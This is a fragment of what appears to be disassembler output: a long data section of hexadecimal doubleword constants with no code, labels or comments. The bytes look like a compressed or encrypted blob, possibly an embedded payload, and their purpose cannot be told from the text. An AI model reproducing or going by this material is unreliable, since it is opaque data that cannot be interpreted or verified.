		dd 0C09D5B29h, 1045D8Ah, 25D41D13h, 0F6F70226h,	5361F840h
		dd 2C7BD903h, 0ACB2AC29h, 819340EBh, 43708912h,	7F30E0Fh
		dd 0F9CB86h, 96B6B132h,	0D24B0935h, 22A648EEh, 703E44CEh
		dd 0F713812Dh, 4F69EB36h, 636775C0h, 0A6B821C5h, 0E45CBBB8h
		dd 66E9C213h, 5E501290h, 566212F1h, 0A9F741D4h,	3A5278B1h
		dd 52A0578Bh, 81215A54h, 20EA90C2h, 89571614h, 10D910E7h
		dd 6EF5076h, 263C6987h,	0D6885D7Eh, 2049F21h, 4240BA52h
		dd 0D131F158h, 0C483548Bh, 9DDF54FDh, 0BB530704h, 6012EA4h
		dd 38F51C3h, 89FE255Bh,	5581E33Eh, 1C04DA52h, 4134FF07h
		dd 40C48159h, 3911E911h, 2D00FC7Eh, 8BAC15BAh, 9453A5Bh
		dd 4636B85Eh, 6D6044D4h, 3D7F9Eh, 5FEDAACAh, 652EC89Fh
		dd 32378100h, 1AF5E96Ch, 47130053h, 76E43590h, 0C7007825h
		dd 0EB390EA2h, 4C732BC5h, 1E00F24Eh, 2DFB8EEDh,	2200AB4Bh
		dd 9B487226h, 0F5F0BF56h, 0F57C6AD8h, 199AEFCh,	0A221332Ah
		dd 0C0BA4EE0h, 0F01B0D30h, 0B0CBEA81h, 9F14C283h, 10168A84h
		dd 8D0479D2h, 2F47A385h, 0DDA6B9ABh, 0A52589C8h, 58860AF1h
		dd 381AC22Bh, 6682FFF0h, 5A4D3881h, 0B0369B55h,	2C3C50B7h
		dd 3B3ED003h, 84194532h, 2D70157Ah, 0D9B61054h,	0C882D7BCh
		dd 58098589h, 40031A23h, 0F3584F3Ch, 7934A120h,	1288F58Bh
		dd 0B63905CDh, 181C5BF8h, 20D1030Ch, 4DDE17BDh,	291208D8h
		dd 7E558220h, 82795295h, 4C8B5100h, 28811024h, 0C114B0A9h
		dd 0C03359B5h, 72EF2AC3h, 0F4512408h, 0D2684740h, 0D49A23A7h
		dd 0DB7957C9h, 48A4F117h, 0ADE852D3h, 731CB400h, 3C6BEB92h
		dd 28C0AC1Eh, 0A2FDDE00h, 1A7A57Fh, 0B41EBF31h,	40586C82h
		dd 3588EED0h, 820C0E8h
		dd 0C9333E71h, 2865BBA4h, 0E120F9ABh, 71EA1D2Dh, 0D507BA34h
		dd 0F7093575h, 3FF2E0DFh, 110051A7h, 8F5243B7h,	1600804h
		dd 66B0F680h, 3157D7BAh, 56BA7Dh, 0E9835FA3h, 5EB8004h
		dd 60F981C0h, 14F2148Fh, 1FC8C23Ah, 7935E780h, 903E2207h
		dd 1B1780C5h, 1532E2CDh, 816D1FE6h, 99D8BCB8h, 7FE75007h
		dd 20983E7Dh, 0F07E0C06h, 0F0B6C03h, 30236519h,	2721DB08h
		dd 8E03F014h, 9E80219Ah, 3E35D881h, 4D103CECh, 0B00EC401h
		dd 0B9E6BDAFh, 39F28178h, 3D5E8196h, 40E7289Dh,	0B814160Ch
		dd 0AF377E54h, 0AEB0982Eh, 5BCDF93h, 0F261A02Ch, 686B83A3h
		dd 641DCE80h, 0DC9BA618h, 0A3A1520h, 7DC682D0h,	0A7037020h
		dd 9BD8198Ch, 187BF072h, 0D1F00408h, 320EEB6Ch,	102B23DFh
		dd 0D2302000h, 37DEBFCDh, 1ED5B075h, 95C832FDh,	0C700ACE4h
		dd 5E215685h, 0EA193957h, 0D3086F66h, 7E222180h, 9DE40B56h
		dd 0A813B731h, 2DEDAE9Eh, 6BE72080h, 0EB728E85h, 0BEEBCEFEh
		dd 0C46864E8h, 1D568960h, 11775E23h, 822600CDh,	0EBE21956h
		dd 0D0F506B6h, 0D1F17D40h, 0D584B200h, 31C78D09h, 0E069014Fh
		dd 0D816F9D3h, 8800CFB7h, 8B59E32h, 510997BAh, 9C02E4E2h
		dd 0F0E8337Ch, 0F3466CD2h, 2C00D922h, 0A995F011h, 317CE85Ch
		dd 0CD18E038h, 58A980E1h, 272B444Fh, 699C1218h,	0F02459C2h
		dd 88A18C5h, 6F5E1E56h,	832770h, 67A8CB56h, 0AC6072DFh
		dd 6E7B2103h, 6EB29DBh,	2619C90h, 14A06047h, 0FF80F083h
		dd 0DB122AE5h, 2165A0C0h, 9C8601A4h, 942EC352h,	0D08982Ah
		dd 18D821h, 0EB77ECA4h,	719BE958h, 7F594A61h, 28BE1A33h
		dd 181C159Eh, 0D3125930h, 0BA09A60Eh, 0B1E363E8h, 450830D8h
		dd 0A6CB6C21h, 265C9200h, 0B78CC20Ch, 770E124Eh, 3A9C083Ch
		dd 344BDC3Fh, 980EB810h, 44949046h, 8CCDB8h, 6638354h
		dd 7C8FB9E1h, 65CC8854h, 8C4AA107h, 97D2FDA7h, 0CEE44849h
		dd 85549256h, 61D1C438h, 9BC49ACEh, 366A3069h, 0F57A29B8h
		dd 0DAD8D51Dh, 0C887D42Ah, 0F8600C44h, 0C700D9F1h, 626D69F0h
		dd 500F0EBEh, 8C1BC4E1h, 6CA6D224h, 88C4F015h, 0CA6B803Ch
		dd 0FC427CA6h, 0F0A16400h, 341A5284h, 7FBF0AB2h, 4EF01B43h
		dd 0A6CC8031h, 8CE0BA0Eh, 3A714A44h, 8001A6C4h,	1A5EDFD6h
		dd 40E5E9A0h, 772E4CACh, 0FEB84A62h, 18191138h,	0AA62ED0h
		dd 30D43946h, 0C86D8846h, 83CAA600h, 0D740B098h, 97340478h
		dd 90E9A9DBh, 147A81E8h, 0B088091h, 9361FD8h, 60224412h
		dd 620E1793h, 82DE49A0h, 25FDD50h, 0B70042E2h, 92DC959Fh
		dd 802EF80Ch, 7C4C8316h, 8BB08034h, 0FC643A30h,	7876EA72h
		dd 24A9F6EAh, 8608408h,	467C4B2Eh, 773600D0h, 526D5062h
		dd 984063CAh, 0F15031DAh, 48C1424h, 9C88A41Fh, 200B6222h
		dd 39A416D6h, 90296128h, 900FCF20h, 0B2C01F60h,	1000645Bh
		dd 1639D18h, 0BA0DA6CFh, 884918C8h, 0A600C770h,	0B33D073Eh
		dd 0B19FDDh, 0EDE4317Ah, 338E626Ch, 7CE9C0C1h, 0E8A4E3A4h
		dd 808111B8h, 6CCBF00Eh, 220F431Bh, 16251CDAh, 3E5071F0h
		dd 0A9E20710h, 11889FEAh, 4885800Eh, 1613D9C8h,	0F562553h
		dd 8810B108h, 0F00FC082h, 23756CCCh, 17268085h,	7F3810F0h
		dd 68C1577Ch, 0C975A02Fh, 203050A8h, 0EA0E206Eh, 0F2EE7923h
		dd 33371006h, 7E1546C0h, 9C89A408h, 4009C41Ah, 77A417D7h
		dd 71830D22h, 0C0191FDAh, 91004B7Ah, 3023293Ch,	60E0CA2h
		dd 31F37ED1h, 1046680Bh, 0AA42312h, 70944258h, 0A40F1ADAh
		dd 0E3933D27h, 0A8AF957Dh, 40F5A038h, 78B180E1h, 53A65E02h
		dd 43FCCAD9h, 4CC6E2B0h, 56870E7Ch, 38935E1Fh, 801C24A4h
		dd 3C34356h, 2E56822h, 53E25C19h, 4C67E3CEh, 2F623E44h
		dd 1BBDCE0h, 1776DC25h,	81E29108h, 9DCF5A2h, 5E5862D0h
		dd 0B850C02Ah, 7E305769h, 35967141h, 4A7D00A7h,	9FE11158h
		dd 2B1E4947h, 280B5E2h,	541699FEh, 79809959h, 5C1847h
		dd 0BFF57FB7h, 5E3A3378h, 0DD27C614h, 597204B8h, 38C51DFEh
		dd 49C3A89Bh, 0D5D07786h, 4FFCE0E7h, 0DF7988B9h, 2725C819h
		dd 0D7014E77h, 59A047B3h, 7C732126h, 8231D2E2h,	2E0EB9E0h
		dd 394828F3h, 0DE7CE3ACh, 91E0E513h, 37DAA804h,	987B501h
		dd 72F821B8h, 30D9F29Ch, 0E40BF48Ch, 0A6F633A5h, 46E8E05Ch
		dd 568402CBh, 315F5E24h, 7D2110CBh, 1D207C56h, 6998C5h
		dd 5EDAA5BCh, 4C941971h, 28DA465Eh, 61D0E594h, 0AE5B00C2h
		dd 51BCAAE0h, 0FA581D23h, 6461E62h, 2489E434h, 0D4496A29h
		dd 0C490CA11h, 675E230Ah, 7C205060h, 6AF15600h,	1810D894h
		dd 0A8C20138h, 0F5AFB817h, 1DB040BBh, 0A109A401h, 84495E5Bh
		dd 24621144h, 3A9CC860h, 0F11449Bh, 3E1BDB18h, 5F0AEA77h
		dd 90AD1379h, 0C25AED82h, 31E89025h, 7D4684E7h,	0CFF00A02h
		dd 0DC31FB6Ch, 0F0122910h, 3738B601h, 0E0CD0EBAh, 2D0FE180h
		dd 12E8FB65h, 256D1A09h, 11A49D2Fh, 9380800Fh, 1D9B6D0Ch
		dd 12D83411h, 0E36C0062h, 3B4A599Fh, 495860BAh,	8C10E868h
		dd 0F31E9000h, 0E07C8BD1h, 0A9AF3C27h, 0C0A05F25h, 0D2259039h
		dd 0C8C048B2h, 849E64FBh, 52700ACBh, 2A41276h, 0D5D9A7B9h
		dd 0A0DACD02h, 0DBADA284h, 2ECC0049h, 5B9014EBh, 0A150F48Eh
		dd 2A186F98h, 0D641111Eh, 0F3F8A0E9h, 0BE5A3DA2h, 2190DEA4h
		dd 180BD19Ch, 502D01ECh, 8C4BB201h, 0F070A010h,	0D018046h
		dd 136CCEF0h, 89DD0C0Fh, 45F0C828h, 0C42E9C0Fh,	0DC30F3BAh
		dd 670A6Ah, 382C3186h, 1A6C6132h, 0FFE07A72h, 0DE8DEF1Eh
		dd 222C9868h, 0AE617874h, 405101Fh, 0CF41CAA0h,	0C3CA8874h
		dd 35A8F21Ah, 40BA287h,	201769DEh, 0A977285Ch, 84AD4D93h
		dd 0B9335E1Bh, 83EA9EA1h, 8A141BE1h, 7CA918CCh,	82EE19D7h
		dd 0F5DD1100h, 1F03D5FBh, 224400CFh, 502964A0h,	30C8537Dh
		dd 890A499h, 0D91733F6h, 0FC1D645Fh, 0B1CCD1C1h, 60618AC4h
		dd 0DEA29823h, 1AF96630h, 407C5447h, 1817E441h,	0CA608CEh
		dd 46C4D0BAh, 0A6C66F40h, 750705FCh, 789B3E53h,	5CB7DF01h
		dd 740C50A6h, 0B8004846h, 14CEEE9Ah, 6F099DACh,	69178E5Ah
		dd 7EE0F554h, 0E310C118h, 33E6C587h, 30DBE230h,	8C1DCA39h
		dd 19B07D81h, 3F2770h, 37BC2316h, 0B7C8210Eh, 0A559F25h
		dd 0A4249044h, 0BC7D08h, 0D4E2664Ch, 0EE255D9Ch, 111C17FEh
		dd 46FC800Eh, 0B8C02B4h, 0BA8A2FE3h, 84C15B89h,	0F085DA6Fh
		dd 0CDA46016h, 0BA230FA6h, 3D11D8h, 96A6C572h, 4FFABEDh
		dd 0F2F4CC1Dh, 193CC865h, 0B5498810h, 0EA2A6709h, 0BA4D20Ah
		dd 7C4EECE8h, 3C6ECE40h, 70C9ABA7h, 0EE699C04h,	5AB0831Eh
		dd 0BA8350F8h, 97167CB8h, 0C09C8B0Ch, 201E820Ah, 2481EF23h
		dd 846744Ch, 0F2E84F05h, 0E741261h, 0A474D19Ch,	0A597B682h
		dd 11C30E8h, 1F076DEAh,	16ABA057h, 0C5AFBA40h, 252891CEh
		dd 45918C97h, 6F2E3180h, 9200FBD9h, 163C7730h, 4C726126h
		dd 9C8F480Dh, 4035B605h, 1A5FAE80h, 3C962CB8h, 10465Eh
		dd 8ED27EF7h, 1821419h,	0D51FE9Ah, 40223662h, 0E954AFECh
		dd 564CF0C3h, 61E67Eh, 806DB4A3h, 5ADECE39h, 0F6ABA201h
		dd 45C55E70h, 65C309Dh,	7103DB57h, 0AC736300h, 15FAB180h
		dd 1F6C00D4h, 8EA57116h, 9300D052h, 13BD9B83h, 60DB0CE9h
		dd 1043920h, 9F0780A7h,	672D7D54h, 9D95D750h, 342E2861h
		dd 64084C84h, 928CDAF8h
		dd 6D93060h, 0B6E24771h, 0F2807900h, 8C354B6Ah,	0AAFE00DDh
		dd 2777BAEEh, 0BE1668DEh, 8422FA73h, 0A41E3017h, 2A9C8B10h
		dd 0A415D5E0h, 8FCD3D00h, 8CBEB65Ah, 9E2C1EB9h,	8BDC2E81h
		dd 30450268h, 496009E4h, 0DB597122h, 0B2307A48h, 619E211Ah
		dd 0F84CBA26h, 0FB2CA0B9h, 0B069046Eh, 87DDE5AFh, 0ADD84160h
		dd 7021A1B7h, 9F180F71h, 88226397h, 3F34E51Fh, 60C8FF03h
		dd 0C0A8C72Ch, 5E205688h, 0A02C7F4Fh, 56810225h, 2FE45482h
		dd 241260E6h, 0DB00E8ABh, 55C0252Dh, 0FE5E02B7h, 0FDB02044h
		dd 70568CE9h, 28771C5Ch, 56CB83Ch, 0ECEFBE5Eh, 7B22DC07h
		dd 482E4A5h, 647112E2h,	0EC18E159h, 5CE8A000h, 442D12FFh
		dd 787360F5h, 0A814BC0Ah, 2E65431Dh, 1DCCCE43h,	7FC02C35h
		dd 948540FCh, 42F290D1h, 0CCD938B9h, 0D84BF819h, 2AE59F07h
		dd 0C8FBDDB1h, 0C81DE4h, 87C72734h, 3B1E57ECh, 0E1C45B00h
		dd 0EBFC03F4h, 0BB130202h, 66BBDB6h, 0AD6980E8h, 9D42C925h
		dd 80CA1120h, 367D8D8Eh, 0CEA30511h, 0C002FB3Ah, 0C65CA080h
		dd 6809CB30h, 793D7B85h, 40CC5F83h, 0A35C4DF8h,	8725DA5Eh
		dd 910C1785h, 89D280E0h, 12CDF1DEh, 20DA230Dh, 0DC8F9480h
		dd 2995C702h, 2027E403h, 0D5C48315h, 0BAF85A70h, 4C0C3750h
		dd 72095C05h, 3CB1DA69h, 0FEB88439h, 9C1D0805h,	24009E81h
		dd 9064FAE3h, 6F430593h, 0D21D222Ah, 64FAA74Ch,	764A070Ch
		dd 0B11808h, 680B7F55h,	9A52C306h, 31D90340h, 6CB0E532h
		dd 0E4CCD076h, 0FA4AF40Ch, 7ACE201Fh, 9C91E3h, 5039196Dh
		dd 4A010CE2h, 57269C4Bh, 0C0D2B078h, 4A3C64F4h,	22485E14h
		dd 87693C94h, 3E58518Ch, 9BFB3101h, 94373279h, 1E142DD8h
		dd 41309633h, 0C3CA4A6Fh, 6D53B7E1h, 803D8ED9h,	59AC5210h
		dd 77124BB9h, 213E31E7h, 80545118h, 0EE49B1BCh,	1139B2Fh
		dd 35D1704Ch, 8019E261h, 0C5FABC70h, 0BA864A6Eh, 9E8706F4h
		dd 89347F95h, 6200FF79h, 0AC441E9Ah, 0EEE2CC2h,	18AE0E46h
		dd 23BDDE61h, 0CE4820EBh, 0CB806400h, 0DA01331Fh, 139C9914h
		dd 0C07CD769h, 289C5DB2h, 0EB54B002h, 4847B65Eh, 0A69668h
		dd 8365B2E7h, 672202ACh, 7EBCC954h, 59913560h, 0B2F8DCh
		dd 840C5C79h, 4D860EFBh, 0CD23EC09h, 940CAA0Fh,	2F49F08h
		dd 32F2719Eh, 41AEDC69h, 0D4C5964Ch, 1549933h, 900B65B4h
		dd 822C1C79h, 7039B747h, 50C462A0h, 9C04E203h, 7F18E4F2h
		dd 0D404993Fh, 72565400h, 0B54B25D7h, 0C8370F69h, 0C2E06E8Fh
		dd 3BC16D61h, 0BEAAA401h, 0CCD21E54h, 5AE67981h, 60B13C9Eh
		dd 70512264h, 5598000Ch, 0D0B009D7h, 0DE24AF6h,	2988C094h
		dd 2AF704BEh, 0A9CCA086h, 581CB149h, 8C0FE868h,	0A52D8B01h
		dd 1A21AAF3h, 0D073F894h, 0A26BC587h, 0ECEBCDA0h, 0A91EDCA3h
		dd 3D40E47Ch, 76E56F53h, 5CF17C8h, 0C8F88BC2h, 6082C7CFh
		dd 5EC4ABECh, 0E4CB9E18h, 0B4A63E80h, 0D3465EE8h, 0B58CB23Ah
		dd 9849ED2Bh, 65CE4487h, 0C518AB00h, 1C4CCF09h,	827CB394h
		dd 2A5F7BFh, 0B097B460h, 0F2EA7B01h, 16E5FEDEh,	1D1DC058h
		dd 0A59C8AA4h, 0D4002816h, 2F30A414h, 551FF21h,	0A54CBEC2h
		dd 0F2C0E23Eh, 0EBA30DCh, 8FB87E0Bh, 0F3E82061h, 69200B30h
		dd 0DC45296Eh, 2160E2E4h, 9D73D3F8h, 53E56A02h,	0F2DFCD6Eh
		dd 0C5630050h, 77466876h, 0A52EE42Ch, 9E8418D3h, 0BCA08659h
		dd 8C38557Eh, 4C42F4h, 0CEED8296h, 12A6148Eh, 73B65C0Ch
		dd 947D3805h, 59468038h, 0C0912EE0h, 17F0CA00h,	1A660360h
		dd 76B90078h, 94421401h, 2E4D4A6Dh, 14F58E0h, 0CB8A56Eh
		dd 89DA6E7h, 0CBD82A6Fh, 0AC9D1E19h, 9D82D111h,	84E1885Bh
		dd 194638Fh, 3F1CB2E2h,	48734781h, 0CE30CFA2h, 0E154018Ah
		dd 0BBA664D3h, 90838E9h, 0A4BA63F3h, 9CE28260h,	3CDBB600h
		dd 9450C4Bh, 98E3CD01h,	0E5D1881Ah, 0ABEB1F03h,	97323925h
		dd 801191F0h, 87264B6Bh, 94F73F9Bh, 61241B02h, 0EC644602h
		dd 2C357900h, 19859FB6h, 74089418h, 17ADB46h, 721DAACAh
		dd 80427EC5h, 0B292E9A9h, 71FEAEh, 3D66817Ah, 0B5C48B0Ch
		dd 3F13400Fh, 18826696h, 10A09890h, 5BE3F699h, 0DB231C2Fh
		dd 0F8EEAC00h, 4C742231h, 79C1C8E2h, 0C4AFB766h, 0F894BCC9h
		dd 0EA08AE84h, 0B08233Eh, 6482447Fh, 4C0011FEh,	0F4966AEh
		dd 968A7DB2h, 2A05E28Fh, 2FFC90CEh, 434E6C22h, 536B9002h
		dd 0E43865FFh, 82F96011h, 0C662009Eh, 51AABE23h, 8E0271FBh
		dd 0DE619C7Ch, 107040h,	0D8EA73B3h, 9EF06CA3h, 0F399340Bh
		dd 6670A2E6h, 7C802135h, 7FC469EBh, 7623EE00h, 6ECE64C6h
		dd 99E5B62h, 9810D9ACh,	5400CD14h, 0B4376029h, 9C099FADh
		dd 0E46760Ch, 827CBA07h, 718171FDh, 0C5D541AAh,	0E1869CBh
		dd 0E097C1D8h, 95E2AE4Dh, 0A1802BAh, 0F907ADE6h, 4C7B3C89h
		dd 587AC870h, 4502721Ch, 42593BEFh, 0C5FF9048h,	0D1183F14h
		dd 80E73DECh, 50A28B2h,	91DBE015h, 709E74h, 26545D1Fh
		dd 3500F7E4h, 0CC09EEAh, 909AB374h, 0CA59128Ch,	8BF0E439h
		dd 61A61040h, 79A41025h, 0BC683DB9h, 3C3E1D67h,	19BE06D9h
		dd 165C90CBh, 51F1004h,	86CCE13h, 0D9091EB0h, 0C0A04250h
		dd 823AB68Ch, 0DF37FC40h, 0E63F6988h, 74009642h, 5B07D246h
		dd 91B24D1Ah, 6D14EC86h, 59F312A4h, 8FB79890h, 0F4B4511Dh
		dd 44B07FCBh, 32096EE4h, 7B14A797h, 354C78B8h, 0EEDA5B00h
		dd 0D2CE7D4Dh, 0ADA81821h, 626F70CCh, 88A20AFAh, 12DCCC54h
		dd 0B21ABA17h, 30E1F2C8h, 3D0F1F8Dh, 74DD1B9h, 0BED09DC1h
		dd 0A4F8ABADh, 45322CC0h, 3F91BCh, 4D301105h, 39020D0Ah
		dd 9B0F239Ch, 25604B57h, 1D957EF1h, 0DABA3317h,	0AB7560C1h
		dd 485CA8A8h, 4083F87Fh, 0FD80C26Fh, 3101DA57h,	9B5C597Bh
		dd 0D0420C22h, 0B2332230h, 90206340h, 9CE0E528h, 9B32C315h
		dd 0A48B4ECCh, 0DEC048C8h, 0D17C5Fh, 7FB8B03Bh,	0E3961F99h
		dd 97C5C415h, 25FD0080h, 6F47D6B3h, 0F8B2488Dh,	26F42800h
		dd 0A0841110h, 50376924h, 7CD07E92h, 4D4C5h, 3C463B9h
		dd 0F73C07B6h, 5F3DD705h, 0B0A2179Bh, 26CB911Ch, 0B84C00FFh
		dd 50F70AEFh, 6EFACE03h, 0EA9C886Ch, 443C47C3h,	0F7226048h
		dd 578B02A2h, 0D4CE037Bh, 50628C48h, 0F6319600h, 5F0546C2h
		dd 0E27B52h, 7D6896Bh, 0ED2F23A1h, 145D92F2h, 819C0984h
		dd 3DC8D85Ah, 2CABE68h,	63F2F488h, 9F0A5071h, 0AB8BD055h
		dd 98381A62h, 0BCBEFDB4h, 0A7A38460h, 0D6220914h, 0A8283416h
		dd 8CCDBCFCh, 0E79BB700h, 7E6AC763h, 4FF3B09Eh,	0EB889117h
		dd 2A7C0104h, 6E2E8025h, 0CBA60060h, 932992BAh,	0F46300E9h
		dd 0C979497Eh, 23001726h, 6EE7D521h, 74A6E504h,	7EF67BDBh
		dd 1BE63A42h, 641E1600h, 803918DAh, 802AD83Ch, 0E6042EB7h
		dd 0F144203h, 25437FA5h, 1DF8D6AAh, 0CD2F034Ah,	0E8A07E66h
		dd 48197CCAh, 3D28A4C5h, 351821A0h, 81490DCDh, 0E7964160h
		dd 0CF7A5DA0h, 2D54C0A1h, 7E1FB808h, 0FCA40095h, 0F551D7FBh
		dd 2286206h, 3913F029h,	4E005A0h, 0A6641345h, 168CB077h
		dd 6962F312h, 49D980A0h, 0E33C7C22h, 0ABCE0E0Eh, 0A68C57C0h
		dd 25F06C90h, 92401269h, 895CE144h, 68524183h, 9B3320Dh
		dd 26517802h, 4912FE61h, 1C409E4Ch, 62AE691Ch, 0E7BE194Ah
		dd 2DFFE869h, 0E02DACACh, 33B100C8h, 5B4E3997h,	847C6650h
		dd 43799E1Ch, 50E342D3h
		dd 5430CEA2h, 0B35FC6Ch, 1AEC8584h, 0F8318806h,	8B04300Bh
		dd 5C78E116h, 886E2Bh, 847BB96Dh, 3735753h, 0E435C44Fh
		dd 264E76A7h, 0E288D08Eh, 27D2FEC0h, 84950370h,	6D413546h
		dd 0F4FCFAFBh, 0D2401930h, 0F64A100Dh, 0A7B70D13h, 6F3B788Ah
		dd 5E98140Ch, 6D6C0588h, 58A0BE2Ah, 0B0A095DAh,	699F275Dh
		dd 530E1E01h, 0B301AFB8h, 5C1F8881h, 20E04BAEh,	7902F504h
		dd 6C9C522Ah, 0D13C6AA3h, 18CD79B8h, 0BB107B0h,	91E4BD0Eh
		dd 80D8CCF5h, 0CB9D3021h, 3AE1F797h, 1080DB21h,	0D9811F9Ah
		dd 5C164562h, 348573BEh, 64C290ACh, 805918F1h, 6918DF79h
		dd 5D13D202h, 0D0E450F4h, 45CA2038h, 35835E13h,	0DD237C3Ah
		dd 0E41F8600h, 2FEFDBFEh, 0A8ABB5D8h, 24001859h, 0AE42D2D1h
		dd 0F97700E8h, 1F3B7AB0h, 9BF45E4Ch, 4A80A5Dh, 5F756270h
		dd 95080413h, 616D04E0h, 172134E4h, 0D0BD71A0h,	0C2E19F0Ch
		dd 93183258h, 3BF2ACE2h, 0AA6E30h, 0EC661ABCh, 3FE1F391h
		dd 0AE619E12h, 9DBE3C80h, 72DB40B3h, 2E86591Bh,	7C83B018h
		dd 85E9C0D5h, 5E0D2DEBh, 570011E0h, 0F9C1C835h,	3E28F718h
		dd 1F94B8A1h, 0DEE8E039h, 503A018Ch, 45ED8128h,	6D88DC11h
		dd 1D0124B6h, 0EBCFA65Eh, 7E15F400h, 0B2E183E9h, 90135FF9h
		dd 910CB1E0h, 606549F0h, 8260DE64h, 4D01FB2Eh, 5A52C3C0h
		dd 0BC4E0F08h, 0AEC04AC8h, 1D61C910h, 18AFB025h, 0D8E6D0CAh
		dd 249132FAh, 7700D611h, 9E6B846Fh, 1126B1AAh, 0EA2628C5h
		dd 0DF35B609h, 0D2492880h, 8309175Bh, 23D9CCC7h, 0B8FB86B8h
		dd 0FE8161h, 0BE93032Eh, 0E34836E9h, 1F52100h, 0D297DA8h
		dd 0B4CE28Bh, 0BFE5D066h, 1C591C32h, 73180979h,	29B79500h
		dd 818EAE4Dh, 0A39E1C53h, 454E8BD8h, 14034002h,	6489F507h
		dd 66ED07D8h, 0F7AAB8DEh, 37773170h, 54648084h,	9BC4C54Fh
		dd 3E7E2459h, 0BA060744h, 94B7858Fh, 1E5C20B4h,	4658EE81h
		dd 0A1F8478h, 0B2E4A224h, 42FC300Ch, 62DE5907h,	22340D63h
		dd 0AF380CF8h, 0E8B940F8h, 0A795E0A1h, 0C1484D39h, 3069F796h
		dd 18BA2BCCh, 91D8179Dh, 790E8011h, 291B385h, 275530B8h
		dd 2848EE7Ch, 4F00DC37h, 5E8BEABCh, 4D57F46h, 0A1EC842Eh
		dd 0A2F0F333h, 0A7D833DDh, 443C782Dh, 8CBD81E2h, 97EC1209h
		dd 84EBD2h, 0A3CD15A1h,	0B6C371E1h, 120BA513h, 6680F85Dh
		dd 4EC84FF4h, 69A01625h, 17BCE0A6h, 0F88168B1h,	1BAD6236h
		dd 383C65DDh, 8BB8905Dh, 0AFC9D700h, 9B99CB90h,	16622081h
		dd 0B3650CFh, 0C5ECE35Ah, 0FFF000F6h, 3C3AEA72h, 5CE0AE77h
		dd 3F627181h, 0D46012F8h, 0BEB28817h, 0C79CDC00h, 37FC664Bh
		dd 0B00C0B9Dh, 0C437E954h, 0E4B3718Eh, 43C09B72h, 3A82C4h
		dd 5E43A3D6h, 9465392Fh, 0BD3FEF04h, 58BC58C6h,	608CDBE8h
		dd 9E67AC2Fh, 37B7FDBDh, 8FC69D98h, 1E8026EFh, 9933D251h
		dd 0F369ED62h, 12B06463h, 0F3BF9E4Ch, 611E0578h, 0D4123C36h
		dd 221860E3h, 68E6416Ah, 0E24C0252h, 0F0A8330Ah, 0B838AB9Bh
		dd 0AA2A966Fh, 97AFB4E0h, 0D9050B9h, 0FB2A872h,	0D5E230h
		dd 266C1DA6h, 23C65E3Ch, 0FF0944B4h, 0E4A445E7h, 959B60D2h
		dd 1BB25C34h, 0C8F58017h, 3F072F2Ch, 0C679ECEEh, 0D0BDEh
		dd 88B6F21Ch, 0C4424CDh, 0B86DA5ACh, 93E03FC7h,	0BC7183C2h
		dd 9FBA8574h, 4C7CE8ADh, 0C0D23AA0h, 0BFB20233h, 687C4634h
		dd 0CE140C5Ch, 0E10A8FDCh, 1402E47Fh, 970386Ch,	0B9D8C85Bh
		dd 7C4BE4D2h, 0EF590C90h, 1647A53h, 0C867B91Fh,	70E5B379h
		dd 8C2C29B0h, 0EF4D814h, 20D736EBh, 5C9733C7h, 0B4B1CD71h
		dd 0DE2714h, 49A8B0A9h,	4E4836Fh, 63AC2018h, 80ECA8C5h
		dd 371AD61Ch, 3C81EE6Bh, 0F285D561h, 0F4B3D81Bh, 1E49CE28h
		dd 30F301D0h, 0B2C2F8EBh, 180241A7h, 4A01CB01h,	19A40E5Eh
		dd 526C0480h, 8700B09Ah, 34149897h, 0C2FE2FB1h,	0CA91CC97h
		dd 0C3D0BA80h, 1C0193E8h, 917E986Eh, 28629B34h,	3160F30Ch
		dd 0F43D5289h, 940EA4C2h, 0E4C4C5A7h, 43E8604Ah, 78C90452h
		dd 94C597BAh, 8834B9B4h, 719C820Ah, 78F4338Eh, 0E1732286h
		dd 168B0C1h, 414964FFh,	3C4E599Ch, 638101D8h, 4276713Ch
		dd 62831087h, 4192B49Eh, 672251ABh, 547D33F1h, 149A6907h
		dd 10AEE634h, 0A578590Bh, 26BCC8A9h, 6AE581h, 9DF25CD4h
		dd 3161FA61h, 18DBA610h, 51853868h, 169203BDh, 47A04A42h
		dd 1B002A0Bh, 1A2C76F7h, 1331823Ah, 8022326Dh, 0FBB28320h
		dd 0E4117A00h, 0F4D1704Bh, 7E2A276Eh, 69B83880h, 0FA7CBC45h
		dd 4A2D4B01h, 0CA2A6D8Ch, 51E8007Eh, 2E7E959Eh,	0BBDC5289h
		dd 69F0E926h, 0A8136AC2h, 15682144h, 6403981Eh,	626D19F3h
		dd 0C47C35C2h, 0B5D8E686h, 7BAAC051h, 0F3452888h, 81E8645Ch
		dd 0BF998FB9h, 0AB70082Eh, 93BE5E85h, 7109E8E9h, 7C523946h
		dd 0F5D16104h, 4A873AFh, 0E613634h, 919B8ED0h, 80F0B3A9h
		dd 28F37340h, 0C4A09DE8h, 133758h, 0D8C64FBh, 0CCCD4B63h
		dd 9F416C0Ch, 23142F6Eh, 96BA0908h, 0F809CC05h,	0BC4080D8h
		dd 5C04Eh, 69D85B16h, 6B878ECDh, 0EC08FD58h, 0C8018C0Ah
		dd 33F15777h, 6984E8A2h, 0BCE48A70h, 24CE5E54h,	0A8C0E0C8h
		dd 58ACABh, 0B2097B67h,	0B513767Dh, 6C6EFE04h, 0A8D2A8AAh
		dd 0D600D6FFh, 0C11FED00h, 33406F38h, 1CD930DCh, 0B339B221h
		dd 7FE4FD00h, 0C595FF6Dh, 10594C6Bh, 968C49BCh,	0B47A89BCh
		dd 3C86B402h, 6CB91700h, 0B86B131Fh, 2AA488AFh,	74C2D65Fh
		dd 7EDC56AAh, 87001046h, 0D26F0D7h, 801037Eh, 5A6D9EDCh
		dd 608028EAh, 29BE81B1h, 95F042A8h, 28DA595Eh, 0D7820CC0h
		dd 0F016B490h, 8116CE43h, 6F695C90h, 6B594E8Dh,	0E10072F8h
		dd 866ECD1h, 4B378F0Ah,	0CD60C82Dh, 94D749h, 1C082F17h
		dd 7D8EC853h, 0F43A0186h, 0A22E1AB2h, 0C4D43DEEh, 0E3123E96h
		dd 1C2F4B34h, 8B3D0A23h, 828EA10Eh, 0D67D18h, 9DF15C16h
		dd 9E4DE34h, 8C4CB084h,	40F10F0h, 1441AE4Dh, 0B818A859h
		dd 22008C46h, 0A2E8A831h, 899ECBh, 0C7944CE3h, 599BFB81h
		dd 5484025Ah, 50A320B8h, 6C3BAAA4h, 0FE013D23h,	2FA09E11h
		dd 19C0423Fh, 2870F9B0h, 925A7100h, 1FE10EE2h, 841D5890h
		dd 0AD598685h, 40ACE8h,	593BDEEh, 2278AD12h, 619E2D09h
